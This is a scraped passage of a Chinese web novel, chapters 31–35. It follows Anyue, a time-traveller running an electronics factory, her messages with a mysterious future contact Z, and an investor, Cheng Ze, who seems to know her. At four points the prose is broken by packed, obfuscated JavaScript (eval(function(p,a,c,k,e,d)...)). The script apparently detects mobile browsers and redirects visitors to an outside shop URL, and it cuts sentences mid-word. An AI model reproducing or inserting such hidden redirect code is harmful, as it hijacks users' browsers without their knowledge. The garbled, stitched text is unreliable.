l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192532|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身信使,”他说,语气像是在念一个有趣的名字,“这个名字,是安厂长起的吗?” “是。” “为什么叫这个?” 安玥想了想:“因为想让信息跟着人走。人在哪,信息就到哪。” 程则点了点头,“好名字。” 然后他转过头看向安玥。 那一瞬间,安玥忽然有一种奇怪的感觉,好像被什么东西定住了。 不是紧张,不是害怕,是一种说不清的被注视的感觉。 那眼神很深、很沉静,看着她的时候,会让她觉得他在看的不是自己的脸,而是她这个人。 但那种感觉只持续了一秒。下一秒,程则已经移开目光,端起茶杯,轻轻抿了一口。 “安厂长,”他放下茶杯,“我看了你们的产品资料,也看了你们的账目。精时很有潜力,但现在的规模太小,撑不起全国市场。” “时域资本可以帮你们。钱,渠道,资源,我们都有。条件也简单:我们占股,不干涉经营,你们保持独立运作。” 安玥没有说话。 程则看着她,似乎在等她的反应。 “程先生,”安玥开口,“我需要时间考虑。” “当然。”程则站起身,从口袋里取出一张名片,放在桌上,“这是我的联系方式。任何时候,安厂长想好了,可以随时找我。” 他走到门口,忽然停住脚步,回过头。 “对了,安厂长,”他说,“随身信使那个理念,我很喜欢。” 他顿了顿,嘴角微微弯了一下。 “期待看到它走得更远。” 门关上,脚步声远去。 安玥站在原地,盯着那扇门,沉默了很久。 她没注意周顾问什么时候走的,程则最后那个笑容,她倒是记住了。 很奇怪的笑容。不是客套,不是试探,而是一种她说不清的,仿佛知道些什么的笑。 她拿起桌上那张名片,翻来覆去地看。 时域资本程则。 下面是电话和地址,地址是省城新开的那家涉外酒店,房间号都写在上面。 安玥把名片放进抽屉,和那份投资意向书放在一起。 她忽然想起系统里的Z。 那个人说话也这样,很简短,语气很沉稳,偶尔说一句让你愣一下的话。 她摇摇头,把这个念头赶出脑子。 那天晚上,安玥躺在床上,翻来覆去睡不着。 她脑子里反复闪过程则的样子。那双眼睛,那个笑容,那种被注视的感觉…… 不对。 她坐起来,盯着黑暗中的某处,这个人好像认识她很久了。 她想起程则进门时的眼神。不是第一次见面的打量,而是一种确认。好像他在确认,眼前这个人,和他想象中的那个人,是不是一样的。 安玥的眉头紧锁,她重新躺下,拉过被子,把自己裹紧。 窗外夜色深沉。 在省城那家涉外酒店的某个房间里,有人正站在窗前,望着同一个方向。 那人手里捏着一块巴掌大的东西——和随身信使的样品一模一样,但薄得多,精致得多,屏幕上跳动的数字,是另一个时空的时间。 第二天一早,安玥照常去车间。 推开门,里面已经有人在忙了。李红英在指挥搬货,王丽娟在算账,陈卫国和吴建设在调试设备,张秀兰视察着工人装配零件。 一切如常。 安玥走到二楼,推开林知远实验室的门。 林知远正对着一块电路板发呆,听见门响,头也没回。 “昨天那个人,我好像在哪里见过,但是怎么都想不起来了。” 安玥愣了一下:“哪个?” “那个姓程的。” 安玥走到他旁边,靠在桌边。 “为什么?” 林知远沉默了一会儿。 “不知道。”他说,“可能是经历了时空紊乱的后遗症吧。” 安玥看着他,没说话。 林知远终于转过头,看了她一眼,“那个人不简单。” 安玥想起程则那双眼睛,想起那种被注视的感觉,想起他最后那个意味深长的笑容。 “我知道。”她说。 林知远看着她,等她说下去。 但安玥什么都没说。 32. 第 32 章 程则走后,安玥的生活恢复了表面的平静。 车间照常运转,订单照常交付,一切看起来和以前没什么两样。 晚上,她一个人坐在办公室里,盯着桌上那份投资意向书发呆。窗外夜色渐深,车间里的灯已经熄了,只有二楼这间小屋还亮着。 她调出系统面板。 和Z的私聊窗口还停在三天前,他问“顺利吗”,她回“还好”,然后就再没说过话。 安玥翻着以前的聊天记录,一条一条往下看。 “那边冷吗?” “听起来很原始,但好像也挺好。” “你们能自己修好它,很不错。” “期待。” “恭喜。” “注意安全。” 都是一些很平淡的话,没什么特别的。但翻着翻着,她忽然发现,自己嘴角不知道什么时候弯了起来。 她愣了一下,赶紧把嘴角压下去。 她关掉聊天记录,靠在椅背上,望着天花板发呆。 系统里有个功能,可以看和某个用户建立联系的时间。她之前没注意过,今天不知怎么,鬼使神差地点开了。 “与用户Z建立联系:第1552天。” 安玥盯着那个数字,忽然有些恍惚。 她算了算,那是她刚穿越过来没多久,还在那个破屋里。 那时候她什么人都没有。只有这个系统。 Z是第一个给她发私信的人。 后来聊着聊着,就变成了现在这样。 不是客户,也不算朋友,不是任何她能定义的关系。 只是一个每隔几天会说几句话的人。 安玥忽然想起林知远那天说的话:“你有时候看着空气发呆,然后嘴角弯一下。” 原来她真的会这样吗? 原来林知远都看出来了,她自己却没发现? 她关掉系统,想起他们永远不会见面。 隔着几百年,永远也不可能见面。 她忽然笑了一下,“神经病。” 她对着空气说,也不知道是在说谁。 第二天,安玥去车间时,林知远已经在实验室里了。 她推门进去,把在饭馆打包的早餐放在他桌上。 “早饭。” 林知远抬头看了她一眼,又低下头继续看图纸。 “我突然想起来,”他忽然开口,“上次那个人他看你的眼神不对。” 安玥愣了一下:“谁?” “那个姓程的。” 安玥想起程则那双眼睛,心里动了动,面上不动声色:“怎么不对?” 林知远沉默了一会儿。 “他好像认识你。” “不可能。”安玥说,“我第一次见他。” 林知远看着她,“安玥,你知道我是从哪来的。” 他顿了顿。 “你也知道,这个世界上,有些事看起来不可能,但它就是发生了。” 安玥沉默了。 她知道林知远在说什么,他自己就是个“不可能”,她也是那个“不可能”。 林知远看着她没有说话,拿起一个卷饼咬了一口。 “你不信就算了。”他说。 安玥在他旁边坐下。 “林师兄,”她忽然开口,“我问你个事。” “嗯?” “你那时候……为什么要告诉我?” 林知远咀嚼的动作停了一下。 “告诉你什么?” “告诉我你喜欢我。” 林知远沉默了几秒。 “因为憋着难受。”他说,“而且……我觉得你可能想知道。” 安玥想了想,点了点头。 “那你现在难受吗?” 林知远看了她一眼,那眼神里有一瞬间的复杂。 “还好。”他说,“早说早解脱。” 安玥笑了。 “那就好。” 她站起身,走到窗边。 “林师兄,”她背对着他,声音很轻,“你有没有遇到过一个人,你永远见不到他,但他就像住在你脑子里一样?” 林知远没有说话。 安玥继续说着,像是在自言自语。 “你会想起他说过的话。会在他沉寂太久的时候担心。会在收到他消息的时候忍不住乱想。” “你知道这很傻。你知道你们不可能。但你控制不了。” 她顿了顿。 “我不知道这算什么。” 林知远沉默了更久,然后开口,“那个人,是在系统里还是在未来?” 安玥没有否认。 林知远站起身,走到她旁边,和她并排站着,望向窗外。 “安玥,”他说,“你不是问我为什么告诉你吗?” 安玥转头看他。 林知远没有看她,只是望着窗外的天。 “因为我发现,”他说,“你心里有人了。” 安玥愣住了。 林知远的声音很平静,像是在说一件早就接受的事。 “一开始我不知道是谁。后来慢慢猜到了。” 安玥张了张嘴,想说点什么,但没说出来。 林知远转过头,看着她。 “那个人,”他说,“他知道吗?” 安玥摇头。 “他不知道。他也不可能知道。” 林知远轻叹口气,“那你打算怎么办?” 安玥望着窗外,想了很久。 “不怎么办。”她说,“就这样。” “就这样?” “就这样。”安玥淡笑一下,“反正见不到,想也没用。该干活干活,该睡觉睡觉。偶尔收到他消息的时候,笑一下就够了。” 林知远看着她,眼神很复杂。 “你可真行。”他说。 安玥笑了:“我一直很行。” 两人站在窗边,沉默了很久。 窗外,天渐渐亮了。车间里开始传来机器声,李红英的声音飘过来。 “安玥!”她在楼下喊,“周顾问又来了!还带着那个姓程的!” 安玥转头看向林知远,林知远也在看她。 “走吧,”他说,“一起去。” 安玥点点头。 两人一前一后下楼。 楼下,程则站在车间中央,正在看墙上那张“随身信使”的展板。他穿着深灰色的西装,和上次一样,没打领带。晨光从高窗斜射进来,落在他身上。 听见脚步声,他转过头。 目光落在安玥身上,停了一秒。 他弯了弯嘴角,“安厂长,又见面了。” 安玥走过去,伸出手。 “程先生,欢迎。” 程则轻轻握住她的手。 但安玥注意到,他握手的瞬间,目光在她脸上停了一秒。 好像在确认什么。 安玥做了个请的手势:“程先生,这边请。” 两人往办公室走去。 林知远站在原地,望着他们的背影,眉头微微皱起。 李红英凑过来,压低声音:“林师兄,你看什么呢?” 林知远没有回答,继续望着那扇关上的门沉默。 办公室里,安玥给程则倒了杯茶。 程则接过茶杯放在桌上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192533|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “安厂长,”他开门见山,“上次说的投资,你们考虑得怎么样了?” 安玥在他对面坐下。 “程先生,”她说,“我能问个问题吗?” “请说。” “时域资本为什么对精时感兴趣?” 程则看着她,“因为你们的理念我很喜欢。” 他看着安玥继续说道:“而且你们的随身信使,技术上比市面上同类产品领先至少三年。能做到这一点,说明你们团队有真正的远见者。” 远见者这个词让她想起某个人。 她压下心里的异样,继续问:“程先生,我能再问一个问题吗?” “请。” “你以前听说过精时吗?” 程则看着她,目光里有什么东西一闪而过。 “听说过。” 安玥一愣:“从哪听说的?” 程则没有立刻回答。他端起茶杯喝了一口。 “从一个朋友那里。” “朋友?” “嗯。”程则放下茶杯,看着她,“一个很远的朋友。” 安玥盯着他,心里那股异样感越来越强。 但程则已经站起身。 “安厂长,”他伸出手,“考虑好了随时联系我。时域资本的大门,永远向你敞开。” 安玥握住他的手。 这一次,他握得比上次久了一点。 “程先生,”她松开手,“我想问最后一个问题。” “请。” “你说的那个朋友,叫什么名字?” 程则看着她笑了,笑容里带着一点她看不懂的东西。 “他叫……”他顿了顿,“一个你不会认识的名字。” 他微微颌首告辞,转身推门而出。 安玥站在原地,盯着那扇关上的门沉默。 很快,她调出系统面板,看着Z的头像看了看,试图从那个纯黑的头像上看出点什么。 无果,她关掉系统,站起身推门出去。 车间里,机器还在响,人还在忙。 “安玥!下午那批货什么时候发?” “按原计划!” 程则的来访的涟漪很快散去,安玥把那几张名片收进抽屉,继续过她的日子。 日子过得不紧不慢,厂子的资金流水一直在涨。 那年秋天,精时的账上的钱终于突破了七位数。 “安玥,”王丽娟捧着账本,声音有点发飘,“咱们……咱们是不是该考虑扩产了?” 安玥正在看林知远新送来的图纸,头也没抬:“扩多少?” “至少……”王丽娟咽了口唾沫,“至少再租两个厂,得招不少人。” 安玥终于抬起头,看了她一眼。 王丽娟的表情很复杂,有兴奋,有忐忑,还有一点“这真的是我们赚的钱吗”的恍惚。 “先别急。”安玥放下图纸,“等新产品定型再说。” “新产品?” 安玥冲她笑笑,没解释。 林知远的实验室在这段时间的变化很大。地方还是那个二楼的隔间,但设备换了三茬,连那张工作台都换成了加宽加长的定制款。墙上贴满了图纸,桌上堆满了半成品。 安玥推门进去的时候,林知远捣鼓着一块电路板。 “第几版了?”她走过去。 “十七。”林知远头也没回。 安玥凑近看那块板子。比随身信使的机芯大了两圈,上面密密麻麻的元件让她眼晕。板子旁边连着一个小屏幕,是一块巴掌大的、能显示简单图形的点阵屏。 “能运行了?” “能。”林知远按下开关。 33. 第 33 章 屏幕亮了。几秒钟后,上面浮现出几行字: “精时电子智能信使一号 时间:14:32:17 消息:1条未读 日程:14:30会议” 安玥盯着那几行字,沉默了几秒。 “消息怎么来的?” 林知远指了指旁边一个巴掌大的小盒子:“基站。通过这个小功率发射器,可以在五百米范围内发送和接收简短文字信息。每条消息限三十个字。” “能存多少条?” “五十条。可以翻看,可以删除。” 安玥拿起那个“基站”,翻来覆去地看。 “这东西,成本多少?” 林知远报了一个数字。 安玥算了一下,加上终端和基站,一套成本大概在……她心里快速估算,然后倒吸一口凉气。 比随身信使贵了十倍不止。 但她也知道,这个价格如果推向合适的市场不是问题。 “第一批能做多少?”她问。 “材料够的话,一百套。但有些元件,市面上买不到。” 安玥明白他的意思。 市面上买不到的,只能用系统换。 她打开系统面板,扫了一眼账户余额。这几年攒下的纪元币,已经足够她买下一个实验室的所有装备。 “清单给我。” * 那一年的冬天,精时电子几乎所有的人力都扑在了智能信使的试制上。 安玥从系统里兑换了一批又一批市面上买不到的元器件,每一样都严格控制数量,混杂在从南方采购的普通元件里,尽量不引人注意。 林知远负责核心技术,带着陈卫国和吴建设没日没夜地调试。陈卫国毕业留在了精时,吴建设考了本校研究生,但一有空就往车间跑,赶都赶不走。 李红英负责生产调度,王丽娟负责账目和成本核算,张秀兰负责装配和质检,手下带了越来越多的徒弟。 安玥自己也没闲着。白天处理日常事务,晚上和林知远讨论技术细节,深夜还要在系统里应付那些想买古董的未来客户。 这天,Z发来消息。 Z:“睡了吗?” 安玥愣了一下。这个点,未来那边难道也是黑夜? 她打字:“正准备睡。你怎么知道我没睡?” Z:“猜的。” 安玥打字:“最近在基地有点忙哈哈。” Z:“忙什么呢?” 安玥想了想,打了一行字,又删掉,又打,又删。 她其实想说很多。想说这个产品有多难,想说林知远有多厉害,想说那些买不到的元件让她头疼,想说测试结果让她激动得一晚上没睡着。 但最后,她只发了四个字: “秘密。” Z那边沉默了几秒。 然后他回复:“我猜猜看,根据你之前和我聊的……是不是在造一个信息终端?” 安玥有点意外,她打字:“你倒是挺会猜。” Z:“不是猜。是你分享得多。” 安玥愣了。她分享得多吗?好像也没有吧。就是偶尔说一说“基地”的事,说说那些八十年代的“见闻”,说说那些“旧历遗迹”里的发现。 以上细节全是水分。 她忽然有点心虚。 这个人,会不会从她的信息中拼出什么不该拼出来的东西?而且这个人的最近越来越奇怪。 她有些无奈:“你怎么像个侦探似的?” Z:“职业病。” 安玥:“什么职业?” Z:“专门研究人的那种。” 安玥忍不住笑了。 这人,说话总是这样,半真半假,让你猜不透。 “行,大侦探。” 智能信使的第一次亮相,是在省里举办的新技术展示会上。 那是第二年春天。精时电子拿了个独立展位,位置不算好,在角落。 但产品一亮相,展位前就围满了人。 “这个能收发消息?” “最远距离多少?” “什么时候能量产?” “价格多少?” 安玥站在展位里,微笑着一遍又一遍地回答同样的问题。 有个戴眼镜的中年男人在展位前站了很久,问的问题比其他人都细。最后他递过来一张名片,上面印着“省邮电管理局技术处马明”。 “安厂长,”他说,“你们这个东西,如果和我们的寻呼网络结合,能不能覆盖全省?” 安玥心里一动。 她没想过这个可能性。但仔细一想,确实可行。智能信使的终端和基站是独立的,但如果接入邮电系统的寻呼网络,就可以实现大范围覆盖。 “理论上可以。”她说,“但需要合作开发接口。” 马明点了点头:“我们聊聊?” 那天下午,安玥和他在展馆后面的休息区聊了三个小时。临走时,马明拍着胸脯打包票:“安厂长,这个项目省里绝对支持。” 展示会结束后,精时的订单簿上多了厚厚一沓意向书。 有邮电系统的,有大型国企的,有科研院所的,甚至还有几个来自部队的代表,但他们什么都没说,只是要了全套资料。 那段时间,省里的领导来过几次,学校的领导来得更勤。 精时的车间又扩了一次,林知远的实验室又扩建了,他招了五个助手,都是从省城最好的工科院校挖来的尖子生。安玥给他配了台用系统兑换的新设备。 但安玥看到林知远调试那台设备的时候,嘴角微微动了动。 半年后。 精时电子的名字已经不只是省城人知道了。 智能信使的第二代产品正式推向全国市场。比第一代小了一半,功能多了三倍,待机时间大幅延长。最重要的是,它接入了省邮电局的寻呼网络,可以实现在全省范围内接收和发送简短消息。 订单像雪片一样飞来。 邮电系统订了三万台。 铁路系统订了五千台。 电力系统订了三千台。 还有数不清的厂矿企业、机关单位、科研院所。 安玥的精时生产基地也换了位置,是比以前更广阔的一片厂区建筑。 李红英的喇叭换了三个,最后干脆不用了,因为整个厂区都装上了扩音器。王丽娟小组管理的账本已经不知道换到第几本了,陈卫国和吴建设都成了技术骨干,各自带了几十个人的团队。张秀兰成了质量总监,手下管着众多质检员。 林知远的实验室从一楼搬到了厂区最里面的一栋独立小楼,门口挂着“精时研究部”的牌子。他手下有百十个研究人员,大部分是从省城几所大学挖来的硕士和博士。 安玥自己的办公室也换了几次。从二楼那间小隔间,到车间旁边的平房,再到现在的三层小楼——整个厂区的核心位置。 站在办公室的窗前,可以看到整个精时电子的全貌。 几年前,这里是一片荒地。 现在,这里厂房林立,机器轰鸣,每天有几千台设备从这里发往全国各地。 厂区外面,还慢慢聚集起了一堆小厂:做外壳的,做电池的,做包装的,做配件的。有人在厂门口开了个小卖部,生意好得不得了。还有人开了个饭馆,专门做精时员工的生意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204474|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王丽娟有一次开玩笑说:“安玥,你都快把一条街都带起来了。” 安玥笑了笑没接话,她刚走回到厂门口,就看见一辆黑色的轿车停在那里。 程则靠在车门上,手里拿着一份文件,看见她过来,冲她笑了笑。 “安厂长,好久不见。” 安玥走过去,看着他。 “程先生,你怎么来了?” “来送个东西。”他把文件递过来,“省邮电局的合作协议草案。他们让我帮忙带过来,顺便看看你们的新产品。” 安玥接过文件,翻了两页。 协议内容比她预期的更好。邮电系统愿意开放接口联合开发定制版。第一批意向订单就是一万台。 她合上文件,抬起头。 “程先生,这协议……” “是他们自己定的。”程则打断她,“我只是个跑腿的。” 安玥看着他,没说话。 程则迎着她的目光。 阳光打在他脸上,把他的五官勾勒得很好看。那双眼睛看着她的时候,好像在看着什么很重要的东西。 “安厂长,”他忽然开口,“昨天有人问我,为什么对你和你的产品感兴趣。” 安玥礼貌一笑:“为什么呢?” “我回答说,因为好奇。”他顿了顿,“但今天见到你,我发现不只是好奇。” 安玥看着他,等他往下说。 程则往前走了一步,离她更近了一点。 “安玥,”他叫她的名字,,没带“厂长”,“你有没有想过,有人可能不是为了你的产品,而是为了你这个人才来的?” 安玥不动声色地往后退了一步。 “程先生,我这个人没什么特别的。” 程则看着她,“你觉得不特别,”他说,“但别人不这么想。” 他转身拉开车门。 “协议你先看,有想法随时联系我。” 车子发动,缓缓驶离。 安玥站在原地,盯着那辆车的背影。 程则说的“别人”是谁? 那天晚上,安玥躺在床上翻来覆去睡不着。 她调出系统面板,看着Z的头像。 她打字:“在吗?” 发出去她就后悔了。这么晚了,人家可能早睡了,虽然未来那边不知是白天还是黑夜,她从来不知道他的作息。 但Z的回复很快:“在。” 安玥盯着这个字,心里忽然有点发酸。 她打字:“今天基地来了个意向投资人。” Z:“说什么了?” 安玥想了想。 她打字:“说有人不是为了我的产品,是为了我这个人。” Z回复:“然后呢?” 安玥:“然后我说我没什么特别的。” Z:“他怎么说?” 安玥愣了一下。 她打字:“忘了。” Z:“你不信自己没什么特别的?” 她打字:“你怎么知道?” Z:“因为我也不信。” 安玥想了想,打字说:“你又不认识我。” Z那边沉默了,好一会消息才弹出来:“我认识你很久了。” 安玥盯着这行字,总觉得这句话大有深意。 她追问:“什么意思?” “有些事,时候到了自然会知道。” Z没有再回复,很快他的头像暗了下去。 安玥躺在床上,望着天花板,想起程则那些话,再回想Z今晚说的话,总觉得怪怪的。 她想起那双眼睛,两个不同的人,怎么会给她这么相似的感觉? 34. 第 34 章 初春,精时电子的厂区门口多了一块新牌子。 牌子是铜的,上面刻着“省重点科技企业”几个字,在阳光下闪闪发光。 智能信使推向全国后,安玥每天早上睁开眼就是一堆事:生产线扩容、新员工培训、各地代理商催货、省里来人考察…… 这天下午,安玥正在二号车间盯新设备调试。这批设备是从国外订的,安装师傅说精度比老款高两档,但调试起来也麻烦。安玥蹲在旁边看了两个小时,腿都麻了。 李红英跑进来时,她正扶着机器站起来。 “安玥!又来了!” 安玥活动了一下脚腕:“谁又来了?” “那个姓程的。”李红英压低声音,“时域资本的程则。上回那个。” 安玥拍了拍裤子上的灰:“人呢?” “办公室等着。还带了个文件袋,看着挺正式。”李红英凑过来,“我刚才给他倒水,他盯着墙上的生产进度表看了半天,问我‘这批货是发哪的’,我说铁路系统,他点点头,说‘五千台,工期挺紧’。” 安玥看了她一眼。 “他怎么知道是五千台?” “我也纳闷呢。”李红英挠头,“我没跟他说数字啊。他就看了一眼进度表,自己算出来的?” 安玥没说话,往外走。 走到门口,李红英在后面喊:“哎,晚上食堂包饺子,要不问问他吃不?毕竟是大客户……” “你自己问。” “我问不合适!” 安玥擦了擦手,往办公室走。 推开门,程则正站在窗前,背对着她,望着外面忙碌的厂区。他今天穿着西装,没打领带,衬衫领口松着一颗扣子,看起来比上次随意了些。 窗外是二号车间的方向,新设备刚运到,工人进进出出。 听见门响,他转过身。 “安厂长,好久不见。” 安玥走过去,在他对面坐下。 “程先生,这次又是什么事?” 程则在她对面坐下,把手边的文件袋推过来。 “合作协议草案。你先看看。” 安玥打开文件袋,抽出里面的文件。 第一页是合作意向书,内容大致就是时域资本注资扩建研发中心,协助建立全国销售网络,占股比例、退出机制都写得清清楚楚。 她继续往下翻。 第二页是补充条款。 第三页也是。 第四页还是。 安玥翻到最后一页,抬起头。 “程先生,你确定没拿错文件?” 程则挑了下眉:“怎么?” “这些条款……”安玥把文件推回去,“保留核心团队、不干涉经营决策、技术成果归属我们、优先回购权……你们时域资本是做慈善的?” 程则没接文件,只是看着她。 “安厂长,我说过,我对精时很看好。” “看好也不用这样。”安玥靠进椅背,“你这条件,换任何一家企业都会签。可对我们来说太反常了。” 程则笑了一下,“反常就反常吧。” 他把文件推回来,“你先收着,有想法随时找我。” 安玥盯着他看了几秒。 “程先生,”她忽然问,“你上次说,对我感兴趣是因为好奇?” 程则的眼神微微动了一下。 “是。” “好奇什么?” 程则没有立刻回答。他端起桌上的茶杯,喝了一口,放下。 “好奇一个从零开始、四年做到这个规模的人,到底是什么样子。” 安玥等着他说下去。 外面忽然传来一阵嘈杂。有人喊“小心小心”,紧接着是“咣当”一声巨响。 安玥条件反射地站起来,推门往外跑。 二号车间门口围了一圈人。一台新设备从推车上滑下来,歪在地上,几个工人正试图扶正。 “人没事吧?”安玥跑过去。 “没没没,躲得快。”带班的师傅擦了把汗,“就是这机器……” 安玥蹲下看了看。设备外壳磕掉一块漆,但主体没坏。 “先扶起来,检查一下精度。有问题联系厂家。” 她站起身,一回头,发现程则也跟过来了。 他站在人群外面,没往前凑,只是看着这边。安玥看过去时,他微微点了下头,然后转身回了办公室方向。 李红英凑过来:“他还跟着出来了?” “嗯。” “安玥,”李红英压低声音,“你说他是不是……” “是什么?” “是不是对你有意思?” 安玥看了她一眼。 李红英缩了缩脖子:“我就是瞎猜。你看他,大老远跑来,条件给那么好,还盯着你看……” “盯着我看?” “就刚才,”李红英比划,“你在那边看设备,他一直看着你。那眼神……”她想了半天找不到词,“反正不太像投资人看厂长。” 安玥没接话。 傍晚,安玥处理完设备的事,回办公室时天已经黑了。 程则还坐在里面。面前摆着一杯水,早凉透了。 “你怎么还没走?”安玥愣了一下。 “等你。”程则站起来,“刚才那设备,问题大吗?” “不大,磕了块漆。” 程则点点头,没再问。 安玥走到办公桌前,开始收拾东西。程则站在旁边,没有要走的意思。 “程先生,”安玥抬头看他,“还有事?” 程则看着她,沉默了几秒。 “安玥,”他忽然叫她的名字,“你平时都这个点下班?” 安玥手里的动作顿了一下。 “差不多。” “晚饭呢?” “食堂。” 程则点了点头,然后说:“我送你。” 安玥抬起头看他。 程则迎着她的目光,神色很平静:“天黑了,厂区到宿舍那段路没灯。” 安玥盯着他看了几秒。 “程先生,”她说,“你怎么知道那段路没灯?” 程则愣了一下。随后笑得很自然:“刚才路过看到的。” 安玥没说话。 两人对视了几秒。 “走吧。”安玥先移开目光,拎起包往外走。 程则跟上去。 厂区到宿舍确实有一段路没灯。夜风还有点凉,安玥走在前面,程则落后半步跟着。 两人都没说话。 走到宿舍楼下,安玥停下脚步,转过身。 “到了。” 程则点了点头。 “安玥,”他忽然开口,“合作协议你慢慢看,不急。我这次会待一段时间,有什么事随时找我。” 安玥看着他。 路灯昏黄,把他的轮廓照得不太清晰。 “程先生,”安玥忽然问,“你以前来过精时吗?” 程则的眼神微微动了一下。 “没有。” “那你对这儿怎么这么熟?” 程则沉默了一秒,笑着说:“熟吗?我今天才第一次进来。” 安玥盯着他。 “你对李红英说‘五千台工期挺紧’,她没告诉你数字,你自己算的?” 程则挑了下眉:“那个进度表上写着批次和交付时间,加起来五千,工期确实紧。” 安玥愣了一下,她没想到他真的会算。 “还有,”她说,“你刚才说那段路没灯,你之前根本没往那边走。” 程则看着她,没说话。 路灯下,两人就这么站着。 “安玥,”程则终于开口,声音比平时低了些,“有些事,我暂时不能说。” 安玥等着他说下去,但他只是看着她。 “等能说的时候,”他说,“我会告诉你。” “行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213293|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我等着。” 晚上,安玥回到宿舍。 洗漱完躺下时,已经快十点了。她习惯性地调出系统面板,扫了一眼私信。 Z的头像亮着。 最新一条消息是两小时前发的: “最近怎么样?” 安玥忽然想起程则今天看她的眼神,又想起和Z聊天的时候,她偶尔也会想,屏幕那边的人是什么样子。但从来没有像今天这样,把两个人联系起来。 她打字:“还行。你呢?” Z的回复很快:“我也还行。你们那边呢?最近忙吗?” 安玥:“忙。基地研发的新产品要定型,各地代理商天天催货。” Z:“听起来很热闹。和你说个事,我可能要离开一段时间,最近不能经常上线了。” 安玥看着这两个字,=竟然有些不舍,她打字问:“去哪?” Z:“有些事要处理。” 安玥:“多久?” Z:“不确定。可能很快,也可能要一段时间。” 安玥盯着屏幕,不知道该回什么。 她想起这四年里,每隔几天就会收到他的消息。有时候是问“新发现”,有时候是问“安全吗”,有时候只是发一个“在吗”。 她打字:“注意安全。” Z回复:“你也是。” 头像暗了下去。 她调出系统面板,看着和Z的聊天记录。一条一条往下翻,翻到几年前。 她翻着翻着,忽然发现,Z与她聊天的内容已经从介绍新产品过渡到了双方的生活中了。 她以前没多想,只当是客户好奇。 但现在,以上种种好像有另一种解释。 安玥关掉系统,躺在床上,望着天花板。 窗外有风吹过,树叶沙沙响。 她忽然想起程则站在窗前的样子。那个背影,好像在望着什么地方。 她翻了个身,把脸埋进枕头。 不想了,睡觉。 第二天一早,安玥刚到厂门口,就看见一辆黑色轿车停在那里。 程则靠在车门上,手里拎着个纸袋。 “早,安厂长。” 安玥走过去:“程先生,这么早?” “顺路买了点早餐。”他把纸袋递过来,“不知道你爱吃什么,随便买的。” 安玥接过纸袋,往里看了一眼:两个肉包子、一个茶叶蛋、一杯豆浆。 都是她平时吃的。 她抬起头,看着程则。 程则迎着她的目光,神色如常。 “程先生,”安玥忽然问,“你怎么知道我吃这些?” 程则愣了一下,然后笑了。 “猜的。”他说,“大多数人早上都吃这些。” 安玥盯着他,没说话。 程则被她看得有些不自在,轻咳一声:“安厂长,你不用这么看着我。我就是……” 他顿了顿。“就是想拉进咱们的关系方便以后谈合作嘛哈哈……” 安玥心什么都没说,点了点头。 “谢谢程先生。我去车间了。” 她拎着纸袋转身往里走。 走到门口时,她忽然停下脚步。 “程先生,”她回过头,“你真的只是来投资的吗?” 程则站在晨光里看着她。 “对。” 安玥点了点头,转身走进厂门。 晚上,安玥躺在床上,翻来覆去睡不着,脑子里反复回放程则那些话、那些眼神。 她坐起来,调出系统面板。 Z的头像是暗的。最后一条消息还是昨天那句。 安玥盯着那个纯黑的头像,忽然有点想给他发消息。但打了几个字,又删了。 说什么?说“我今天遇到个人,总让我想起你”? 那也太神经病了。 她关掉系统,躺回去。 她盯着天花板,不知过了多久,终于睡着了。 35. 第 35 章 第二天,程则又来了。 安玥早上七点半到厂门口,他已经站在那里了,手里还是拎着个纸袋。 “早,安厂长。” 安玥看着他,又看看那个纸袋。 “程先生,你不用天天送。” 程则把纸袋递过来:“顺路。” “你住哪儿?” 程则顿了一下:“……涉外酒店。” 安玥差点笑出来。涉外酒店在城西,精时在城东,这叫顺路? 她接过纸袋,往里看了一眼:还是肉包子、茶叶蛋、豆浆。 “你怎么知道我喜欢吃这些?”她问。 程则面不改色:“猜的。” 安玥盯着他看了两秒,没再问,转身往里走。 程则跟在后面。 “程先生,”安玥头也没回,“你去哪儿?” “看看你们的新生产线。” “昨天不是看过了?” “昨天是昨天。” 安玥停下脚步,回头看他。 程则站在晨光里,神色坦然,一点没有“我是在找借口”的心虚。 安玥收回目光,继续往前走。 “随你。” 接下来的几天,程则几乎天天出现在精时。 早上送早餐,中午在食堂“偶遇”,下午在车间“参观”,傍晚“顺路”送安玥回宿舍。 李红英私下跟王丽娟嘀咕:“这人是不是看上安玥了?” 王丽娟推了推眼镜:“看上就看上呗,又没碍着咱们。” “可他是个投资人啊!”李红英压低声音,“投资人追厂长,这事儿怎么听着这么别扭?” 